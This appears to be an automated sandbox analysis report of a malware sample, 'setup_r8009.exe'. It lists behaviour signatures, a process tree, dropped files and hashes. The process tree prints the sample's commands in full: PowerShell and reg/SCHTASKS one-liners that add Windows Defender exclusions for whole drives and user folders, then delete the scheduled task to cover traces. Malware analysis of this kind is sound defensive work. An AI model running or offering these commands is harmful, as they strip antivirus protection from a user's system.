Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 12:08

General

  • Target
    setup_r8009.exe
  • Size 61.7MB
  • Sample260805-pbcjcs1wct
  • SHA256 0e9231c8a8e3c5a88776fec4231250177b8aa3957816866b755afd0b9cd79c91
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_r8009.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_r8009.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4808
  • C:\Users\Public\a7QlG1\kHdtHR.exe
    "C:\Users\Public\a7QlG1\kHdtHR.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4700
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\a7QlG1\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4208
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\a7QlG1\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5724
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1588
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4136
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4236
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4544
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5124
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3860
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3736
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4068
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5772
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5504
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5980
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4620
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2896
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1200
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1324
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1252
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5712
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4960
                      • C:\Users\Public\a7QlG1\kHdtHR.exe
                        "C:\Users\Public\a7QlG1\kHdtHR.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5200
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\a7QlG1" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1964
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\a7QlG1" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3536
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:6088
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4752
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4464
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2176
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3004

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 cfe89f4217dd84e072d6befdf7bea75db9d39028fa7461bb22184602944c51f3
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\a7QlG1\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 cb028d50237e98e0aa35910cb4209be87e6c40c9d7cb34c552476ee202c9a556
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\a7QlG1\adoresd.dat
                              • Size 4.7MB
                              • SHA256 d0c71548c8cf7bbc58379a72d36eab49901def06bb53f2cf5981b2f961b7e8df
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              kHdtHR.exe

                              • Path C:\Users\Public\a7QlG1\kHdtHR.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\a7QlG1\msadox.tb
                              • Size 8KB
                              • SHA256 c5312bc4480164ade6a958e8c7cffb94246818762e9c2d1a0a5b093fbcf26839
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3328-563-0x000001D2E9F80000-0x000001D2EA00A000-memory.dmp

                              memory/3328-559-0x000001D2E9F80000-0x000001D2EA00A000-memory.dmp

                              memory/3328-567-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-532-0x00007FFD0FE70000-0x00007FFD0FE72000-memory.dmp

                              memory/3328-533-0x00007FFCED220000-0x00007FFCED73E000-memory.dmp

                              memory/3328-568-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-565-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-538-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-540-0x00007FFD0FE80000-0x00007FFD0FE82000-memory.dmp

                              memory/3328-541-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-545-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-546-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-548-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-547-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-552-0x000001D2E9640000-0x000001D2E9ED1000-memory.dmp

                              memory/3328-558-0x000001D2E74C0000-0x000001D2E750E000-memory.dmp

                              memory/3328-561-0x000001D2E9F80000-0x000001D2EA00A000-memory.dmp

                              memory/3328-562-0x000001D2E9F80000-0x000001D2EA00A000-memory.dmp

                              memory/4700-599-0x0000019155160000-0x0000019155182000-memory.dmp

                              memory/4700-604-0x00000191551D0000-0x00000191551DA000-memory.dmp

                              memory/4700-603-0x0000019155440000-0x00000191554F2000-memory.dmp

                              memory/4700-602-0x00000191551B0000-0x00000191551CE000-memory.dmp

                              memory/4808-527-0x00007FFD07590000-0x00007FFD075A2000-memory.dmp

                              memory/4808-504-0x00007FFD07590000-0x00007FFD075A2000-memory.dmp

                              memory/4808-525-0x00007FFD07590000-0x00007FFD075A2000-memory.dmp

                              memory/4808-526-0x00000000005B0000-0x00000000005BD000-memory.dmp

                              memory/4808-0-0x00000000005B0000-0x00000000005BD000-memory.dmp

                              memory/4808-2-0x00000000005C0000-0x00000000005CB000-memory.dmp

                              memory/4808-1-0x00000000005B0000-0x00000000005BD000-memory.dmp

                              memory/5200-574-0x00007FFCED220000-0x00007FFCED73E000-memory.dmp

                              memory/5200-592-0x00007FFD0FE70000-0x00007FFD0FE72000-memory.dmp

                              memory/5200-591-0x0000025F2C780000-0x0000025F2D011000-memory.dmp

                              memory/5200-590-0x0000025F2C780000-0x0000025F2D011000-memory.dmp

                              memory/5200-583-0x0000025F2C780000-0x0000025F2D011000-memory.dmp

                              memory/5200-589-0x0000025F2C780000-0x0000025F2D011000-memory.dmp

                              memory/5200-587-0x0000025F2C780000-0x0000025F2D011000-memory.dmp

                              memory/5200-582-0x00007FFD0FE80000-0x00007FFD0FE82000-memory.dmp

                              memory/5200-579-0x0000025F2C780000-0x0000025F2D011000-memory.dmp